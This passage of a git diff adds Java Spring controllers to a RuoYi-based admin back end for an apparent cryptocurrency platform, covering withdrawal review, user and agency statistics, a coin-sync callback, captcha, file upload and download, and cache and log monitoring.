("0".equals(setting.getThirdWithStatu())) { + ThirdPayOutService thirdPayOutService = ThirdPayOutFactory.getThirdPayOut(setting.getCompanyName()); + JSONObject re = thirdPayOutService.payOut(withdraw, setting); + if (Objects.nonNull(re)) { + if (re.getInteger("code") != 200) { + return AjaxResult.error("U盾提现异常"); + } + } + } + } + int iwithdraw = tWithdrawService.updateTWithdraw(withdraw); + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService, 1); + return toAjax(iwithdraw); + } + + @Transactional + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.审核失败", businessType = BusinessType.UPDATE) + @PostMapping("/reject") + public AjaxResult rejectOrder(@RequestBody TWithdraw withdraw) { + String msg = tWithdrawService.rejectOrder(withdraw); + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService, 1); + return AjaxResult.success(msg); + } + + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:list')") + @PostMapping("/getAllWithdraw") + public AjaxResult getAllWithdraw(Integer type) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + String parentId = ""; + if (user != null) { + String userType = user.getUserType(); + if (user.isAdmin() || ("0").equals(userType)) { + parentId = null; + } else { + parentId = user.getUserId().toString(); + } + } + return AjaxResult.success(tWithdrawService.getAllWithdraw(parentId, type)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java new file mode 100644 index 0000000..54fd860 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java @@ -0,0 +1,34 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.common.core.domain.entity.TimeZone; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * @author:michael + * @createDate: 2022/9/19 16:29 + */ +@RestController +@RequestMapping("/bussiness/timezone") +public class TimeZoneController extends BaseController { + + @GetMapping("/list") + public AjaxResult list() { + + List list = DateUtils.getZoneTimeList(); + for (TimeZone t : list) { + String offSet = t.getOffSet(); + t.setOffSetValue(offSet.replaceAll(":",".").replaceAll("\\+0","") + .replaceAll("\\+","").replaceAll("\\-0","").replaceAll(".00","")); + t.setOffSet("GMT" + t.getOffSet()); + } + return AjaxResult.success(list); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java new file mode 100644 index 0000000..0050c32 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java @@ -0,0 +1,91 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 数据源Controller + * + * @author ruoyi + * @date 2023-07-10 + */ +@RestController +@RequestMapping("/bussiness/userStatistics") +public class UserStatisticsController extends BaseController +{ + @Autowired + private ITAppWalletRecordService appWalletRecordService; + + /** + * 查询数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:list')") + @GetMapping("/list") + public TableDataInfo list(TAppWalletRecord appWalletRecord) + { + startPage(); + List list = appWalletRecordService.selectUserDataList(appWalletRecord); + return getDataTable(list); + } + + /** + * 查询代理数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:agencyList')") + @GetMapping("/agencyList") + public TableDataInfo agencyList(TAppWalletRecord appWalletRecord) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + appWalletRecord.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = appWalletRecordService.selectAgencyList(appWalletRecord); + return getDataTable(list); + } + + + /** + * 查询代理下级用户数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:agencyAppUserList')") + @GetMapping("/agencyAppUserList") + public TableDataInfo agencyAppUserList(TAppWalletRecord appWalletRecord) + { + startPage(); + List list = appWalletRecordService.selectAgencyAppUserList(appWalletRecord); + return getDataTable(list); + } + + /** + * 查询数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:dailyData')") + @GetMapping("/dailyData") + public TableDataInfo dailyData(TAppWalletRecord appWalletRecord) + { + startPage(); + List list = appWalletRecordService.dailyData(appWalletRecord); + return getDataTable(list); + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java new file mode 100644 index 0000000..ef2e2f5 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java @@ -0,0 +1,79 @@ +package com.ruoyi.web.controller.callback; + +import cn.hutool.http.HttpResponse; +import cn.hutool.http.HttpUtil; + +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.trc.TRC; +import com.ruoyi.common.utils.StringUtils; +import org.apache.http.client.methods.HttpPost; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.List; + +@RestController +@RequestMapping("/marketCallBack") +public class MarketCallBackController { + + @Resource + private IKlineSymbolService klineSymbolService; + + /** + * 同步币种信息 + * @param klineSymbol + * @return + */ + @PostMapping("/coin") + public AjaxResult list(@RequestBody KlineSymbol klineSymbol) + { + String msg = vaildateParam(klineSymbol); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + KlineSymbol klineSymbol1 = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, klineSymbol.getSymbol())); + if(null != klineSymbol1){ + klineSymbol.setId(klineSymbol1.getId()); + } + klineSymbolService.saveOrUpdate(klineSymbol); + return AjaxResult.success(); + } + + private String vaildateParam(KlineSymbol klineSymbol) { + if(null == klineSymbol){ + return "参数不能为空"; + } + if(StringUtils.isBlank(klineSymbol.getSymbol())){ + return "币种不能为空"; + } + if(StringUtils.isBlank(klineSymbol.getMarket())){ + return "交易所不能为空"; + } + if(StringUtils.isBlank(klineSymbol.getSlug())){ + return "币种名称不能为空"; + } + if(null == klineSymbol.getStatus()){ + return "币种是否启用不能为空"; + } + return ""; + } + + public static void main(String[] args) { + HttpResponse execute = HttpUtil.createGet("https://api.huobi.pro/v1/common/currencys").execute(); + if (execute.isOk()){ + final String result = execute.body(); + System.out.println(result); + JSONObject ret = JSONObject.parseObject(result); + com.alibaba.fastjson.JSONArray a =(com.alibaba.fastjson.JSONArray) ret.get("data"); + System.out.println(result); + } + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java new file mode 100644 index 0000000..d2d6e8c --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java @@ -0,0 +1,94 @@ +package com.ruoyi.web.controller.common; + +import java.awt.image.BufferedImage; +import java.io.IOException; +import java.util.concurrent.TimeUnit; +import javax.annotation.Resource; +import javax.imageio.ImageIO; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.FastByteArrayOutputStream; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import com.google.code.kaptcha.Producer; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.sign.Base64; +import com.ruoyi.common.utils.uuid.IdUtils; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 验证码操作处理 + * + * @author ruoyi + */ +@RestController +public class CaptchaController +{ + @Resource(name = "captchaProducer") + private Producer captchaProducer; + + @Resource(name = "captchaProducerMath") + private Producer captchaProducerMath; + + @Autowired + private RedisCache redisCache; + + @Autowired + private ISysConfigService configService; + /** + * 生成验证码 + */ + @GetMapping("/captchaImage") + public AjaxResult getCode(HttpServletResponse response) throws IOException + { + AjaxResult ajax = AjaxResult.success(); + boolean captchaEnabled = configService.selectCaptchaEnabled(); + ajax.put("captchaEnabled", captchaEnabled); + if (!captchaEnabled) + { + return ajax; + } + + // 保存验证码信息 + String uuid = IdUtils.simpleUUID(); + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid; + + String capStr = null, code = null; + BufferedImage image = null; + + // 生成验证码 + String captchaType = RuoYiConfig.getCaptchaType(); + if ("math".equals(captchaType)) + { + String capText = captchaProducerMath.createText(); + capStr = capText.substring(0, capText.lastIndexOf("@")); + code = capText.substring(capText.lastIndexOf("@") + 1); + image = captchaProducerMath.createImage(capStr); + } + else if ("char".equals(captchaType)) + { + capStr = code = captchaProducer.createText(); + image = captchaProducer.createImage(capStr); + } + + redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES); + // 转换流信息写出 + FastByteArrayOutputStream os = new FastByteArrayOutputStream(); + try + { + ImageIO.write(image, "jpg", os); + } + catch (IOException e) + { + return AjaxResult.error(e.getMessage()); + } + + ajax.put("uuid", uuid); + ajax.put("img", Base64.encode(os.toByteArray())); + return ajax; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java new file mode 100644 index 0000000..c2a12e5 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java @@ -0,0 +1,240 @@ +package com.ruoyi.web.controller.common; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.bussiness.domain.vo.RecoedEnumVO; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.impl.FileServiceImpl; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.file.FileUploadUtils; +import com.ruoyi.common.utils.file.FileUtils; +import com.ruoyi.framework.config.ServerConfig; +import com.ruoyi.telegrambot.TelegramBotConfig; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.*; + +/** + * 通用请求处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/common") +public class CommonController +{ + private static final Logger log = LoggerFactory.getLogger(CommonController.class); + + @Resource + private ServerConfig serverConfig; + @Resource + private RedisCache redisCache; + @Resource + private FileServiceImpl fileService; + @Resource + private TelegramBotConfig telegramBotConfig; + @Resource + private SettingService settingService; + + private static final String FILE_DELIMETER = ","; + + /** + * 通用下载请求 + * + * @param fileName 文件名称 + * @param delete 是否删除 + */ + @GetMapping("/download") + public void fileDownload(String fileName, Boolean delete, HttpServletResponse response, HttpServletRequest request) + { + try + { + if (!FileUtils.checkAllowDownload(fileName)) + { + throw new Exception(StringUtils.format("文件名称({})非法,不允许下载。 ", fileName)); + } + String realFileName = System.currentTimeMillis() + fileName.substring(fileName.indexOf("_") + 1); + String filePath = RuoYiConfig.getDownloadPath() + fileName; + + response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); + FileUtils.setAttachmentResponseHeader(response, realFileName); + FileUtils.writeBytes(filePath, response.getOutputStream()); + if (delete) + { + FileUtils.deleteFile(filePath); + } + } + catch (Exception e) + { + log.error("下载文件失败", e); + } + } + + /** + * 通用上传请求(单个) + */ + @PostMapping("/upload") + public AjaxResult uploadFile(MultipartFile file) throws Exception + { + + try { + String filename = file.getResource().getFilename(); + //这里文件名用了uuid 防止重复,可以根据自己的需要来写 + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String url = fileService.uploadFileOSS(file,name); + AjaxResult ajax = AjaxResult.success(); + ajax.put("url", url); + ajax.put("fileName", name); + ajax.put("newFileName", FileUtils.getName(name)); + ajax.put("originalFilename", file.getOriginalFilename()); + return ajax; + } catch (Exception e) { + e.getMessage(); + return AjaxResult.error(e.getMessage()); + } + } + + /** + * 通用上传请求(多个) + */ + @PostMapping("/uploads") + public AjaxResult uploadFiles(List files) throws Exception + { + try + { + // 上传文件路径 + String filePath = RuoYiConfig.getUploadPath(); + List urls = new ArrayList(); + List fileNames = new ArrayList(); + List newFileNames = new ArrayList(); + List originalFilenames = new ArrayList(); + for (MultipartFile file : files) + { + // 上传并返回新文件名称 + String fileName = FileUploadUtils.upload(filePath, file); + String url = serverConfig.getUrl() + fileName; + urls.add(url); + fileNames.add(fileName); + newFileNames.add(FileUtils.getName(fileName)); + originalFilenames.add(file.getOriginalFilename()); + } + AjaxResult ajax = AjaxResult.success(); + ajax.put("urls", StringUtils.join(urls, FILE_DELIMETER)); + ajax.put("fileNames", StringUtils.join(fileNames, FILE_DELIMETER)); + ajax.put("newFileNames", StringUtils.join(newFileNames, FILE_DELIMETER)); + ajax.put("originalFilenames", StringUtils.join(originalFilenames, FILE_DELIMETER)); + return ajax; + } + catch (Exception e) + { + return AjaxResult.error(e.getMessage()); + } + } + + /** + * 本地资源通用下载 + */ + @GetMapping("/download/resource") + public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response) + throws Exception + { + try + { + if (!FileUtils.checkAllowDownload(resource)) + { + throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource)); + } + // 本地资源路径 + String localPath = RuoYiConfig.getProfile(); + // 数据库资源地址 + String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); + // 下载名称 + String downloadName = StringUtils.substringAfterLast(downloadPath, "/"); + response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); + FileUtils.setAttachmentResponseHeader(response, downloadName); + FileUtils.writeBytes(downloadPath, response.getOutputStream()); + } + catch (Exception e) + { + log.error("下载文件失败", e); + } + } + + @PostMapping("/upload/OSS") + public AjaxResult uploadFileOSS(MultipartFile file, String remark) { + try { + String filename = file.getResource().getFilename(); + //这里文件名用了uuid 防止重复,可以根据自己的需要来写 + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String url = fileService.uploadFileOSS(file,name); + AjaxResult ajax = AjaxResult.success(); + ajax.put("fileName", name); + ajax.put("url", url); + return ajax; + } catch (Exception e) { + e.getMessage(); + return AjaxResult.error(e.getMessage()); + } + } + + + @PostMapping("/recordType") + public AjaxResult recordType() { + List recoedEnumVOS = new ArrayList<>(); + LinkedHashMap map = RecordEnum.getMap(); + for (Integer s : map.keySet()) { + RecoedEnumVO recoedEnumVO = new RecoedEnumVO(); + recoedEnumVO.setKey(s); + recoedEnumVO.setValue(map.get(s)); + recoedEnumVOS.add(recoedEnumVO); + } + System.out.println(map); + return AjaxResult.success(recoedEnumVOS); + } + + @PostMapping("/reStartBot") + public AjaxResult reStartBot() { + try { + telegramBotConfig.start(); + } catch (TelegramApiException e) { + e.printStackTrace(); + } + return AjaxResult.success(); + } + @PostMapping("/getCoinPrice") + public AjaxResult getCoinPrice(@RequestBody String coin) { + return AjaxResult.success(redisCache.getCacheObject(CachePrefix.CURRENCY_CLOSE_PRICE.getPrefix() + coin.toLowerCase())); + } + + @ApiOperation(value = "获取所有配置") + @PostMapping("/getAllSetting") + public AjaxResult getAllSetting() { + //提现 + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + HashMap map = new HashMap<>(); + //图形验证码 + setting = settingService.get(SettingEnum.MARKET_URL.name()); + map.put("MARKET_URL",setting == null ? new MarketUrlSetting() : + JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class)); + + return AjaxResult.success(map); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java new file mode 100644 index 0000000..69470d0 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java @@ -0,0 +1,120 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Properties; +import java.util.Set; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.RedisCallback; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysCache; + +/** + * 缓存监控 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/cache") +public class CacheController +{ + @Autowired + private RedisTemplate redisTemplate; + + private final static List caches = new ArrayList(); + { + caches.add(new SysCache(CacheConstants.LOGIN_TOKEN_KEY, "用户信息")); + caches.add(new SysCache(CacheConstants.SYS_CONFIG_KEY, "配置信息")); + caches.add(new SysCache(CacheConstants.SYS_DICT_KEY, "数据字典")); + caches.add(new SysCache(CacheConstants.CAPTCHA_CODE_KEY, "验证码")); + caches.add(new SysCache(CacheConstants.REPEAT_SUBMIT_KEY, "防重提交")); + caches.add(new SysCache(CacheConstants.RATE_LIMIT_KEY, "限流处理")); + caches.add(new SysCache(CacheConstants.PWD_ERR_CNT_KEY, "密码错误次数")); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping() + public AjaxResult getInfo() throws Exception + { + Properties info = (Properties) redisTemplate.execute((RedisCallback) connection -> connection.info()); + Properties commandStats = (Properties) redisTemplate.execute((RedisCallback) connection -> connection.info("commandstats")); + Object dbSize = redisTemplate.execute((RedisCallback) connection -> connection.dbSize()); + + Map result = new HashMap<>(3); + result.put("info", info); + result.put("dbSize", dbSize); + + List> pieList = new ArrayList<>(); + commandStats.stringPropertyNames().forEach(key -> { + Map data = new HashMap<>(2); + String property = commandStats.getProperty(key); + data.put("name", StringUtils.removeStart(key, "cmdstat_")); + data.put("value", StringUtils.substringBetween(property, "calls=", ",usec")); + pieList.add(data); + }); + result.put("commandStats", pieList); + return AjaxResult.success(result); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping("/getNames") + public AjaxResult cache() + { + return AjaxResult.success(caches); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping("/getKeys/{cacheName}") + public AjaxResult getCacheKeys(@PathVariable String cacheName) + { + Set cacheKeys = redisTemplate.keys(cacheName + "*"); + return AjaxResult.success(cacheKeys); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping("/getValue/{cacheName}/{cacheKey}") + public AjaxResult getCacheValue(@PathVariable String cacheName, @PathVariable String cacheKey) + { + String cacheValue = redisTemplate.opsForValue().get(cacheKey); + SysCache sysCache = new SysCache(cacheName, cacheKey, cacheValue); + return AjaxResult.success(sysCache); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @DeleteMapping("/clearCacheName/{cacheName}") + public AjaxResult clearCacheName(@PathVariable String cacheName) + { + Collection cacheKeys = redisTemplate.keys(cacheName + "*"); + redisTemplate.delete(cacheKeys); + return AjaxResult.success(); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @DeleteMapping("/clearCacheKey/{cacheKey}") + public AjaxResult clearCacheKey(@PathVariable String cacheKey) + { + redisTemplate.delete(cacheKey); + return AjaxResult.success(); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @DeleteMapping("/clearCacheAll") + public AjaxResult clearCacheAll() + { + Collection cacheKeys = redisTemplate.keys("*"); + redisTemplate.delete(cacheKeys); + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java new file mode 100644 index 0000000..cc805ad --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java @@ -0,0 +1,27 @@ +package com.ruoyi.web.controller.monitor; + +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.framework.web.domain.Server; + +/** + * 服务器监控 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/server") +public class ServerController +{ + @PreAuthorize("@ss.hasPermi('monitor:server:list')") + @GetMapping() + public AjaxResult getInfo() throws Exception + { + Server server = new Server(); + server.copyTo(); + return AjaxResult.success(server); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java new file mode 100644 index 0000000..e0175f4 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java @@ -0,0 +1,82 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.framework.web.service.SysPasswordService; +import com.ruoyi.system.domain.SysLogininfor; +import com.ruoyi.system.service.ISysLogininforService; + +/** + * 系统访问记录 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/logininfor") +public class SysLogininforController extends BaseController +{ + @Autowired + private ISysLogininforService logininforService; + + @Autowired + private SysPasswordService passwordService; + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:list')") + @GetMapping("/list") + public TableDataInfo list(SysLogininfor logininfor) + { + startPage(); + List list = logininforService.selectLogininforList(logininfor); + return getDataTable(list); + } + + @Log(title = "登录日志", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('monitor:logininfor:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysLogininfor logininfor) + { + List list = logininforService.selectLogininforList(logininfor); + ExcelUtil util = new ExcelUtil(SysLogininfor.class); + util.exportExcel(response, list, "登录日志"); + } + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')") + @Log(title = "登录日志", businessType = BusinessType.DELETE) + @DeleteMapping("/{infoIds}") + public AjaxResult remove(@PathVariable Long[] infoIds) + { + return toAjax(logininforService.deleteLogininforByIds(infoIds)); + } + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')") + @Log(title = "登录日志", businessType = BusinessType.CLEAN) + @DeleteMapping("/clean") + public AjaxResult clean() + { + logininforService.cleanLogininfor(); + return success(); + } + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:unlock')") + @Log(title = "账户解锁", businessType = BusinessType.OTHER) + @GetMapping("/unlock/{userName}") + public AjaxResult unlock(@PathVariable("userName") String userName) + { + passwordService.clearLoginRecordCache(userName); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java new file mode 100644 index 0000000..6ca78cf --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java @@ -0,0 +1,69 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.domain.SysOperLog; +import com.ruoyi.system.service.ISysOperLogService; + +/** + * 操作日志记录 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/operlog") +public class SysOperlogController extends BaseController +{ + @Autowired + private ISysOperLogService operLogService; + + @PreAuthorize("@ss.hasPermi('monitor:operlog:list')") + @GetMapping("/list") + public TableDataInfo list(SysOperLog operLog) + { + startPage(); + List list = operLogService.selectOperLogList(operLog); + return getDataTable(list); + } + + @Log(title = "操作日志", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('monitor:operlog:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysOperLog operLog) + { + List list = operLogService.selectOperLogList(operLog); + ExcelUtil util = new ExcelUtil(SysOperLog.class); + util.exportExcel(response, list, "操作日志"); + } + + @Log(title = "操作日志", businessType = BusinessType.DELETE) + @PreAuthorize("@ss.hasPermi('monitor:operlog:remove')") + @DeleteMapping("/{operIds}") + public AjaxResult remove(@PathVariable Long[] operIds) + { + return toAjax(operLogService.deleteOperLogByIds(operIds)); + } + + @Log(title = "操作日志", businessType = BusinessType.CLEAN) + @PreAuthorize("@ss.hasPermi('monitor:operlog:remove')") + @DeleteMapping("/clean") + public AjaxResult clean() + { + operLogService.cleanOperLog(); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java new file mode 100644 index 0000000..a442863 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java @@ -0,0 +1,83 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysUserOnline; +import com.ruoyi.system.service.ISysUserOnlineService; + +/** + * 在线用户监控 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/online") +public class SysUserOnlineController extends BaseController +{ + @Autowired + private ISysUserOnlineService userOnlineService; + + @Autowired + private RedisCache redisCache; + + @PreAuthorize("@ss.hasPermi('monitor:online:list')") + @GetMapping("/list") + public TableDataInfo list(String ipaddr, String userName) + { + Collection keys = redisCache.keys(CacheConstants.LOGIN_TOKEN_KEY + "*"); + List userOnlineList = new 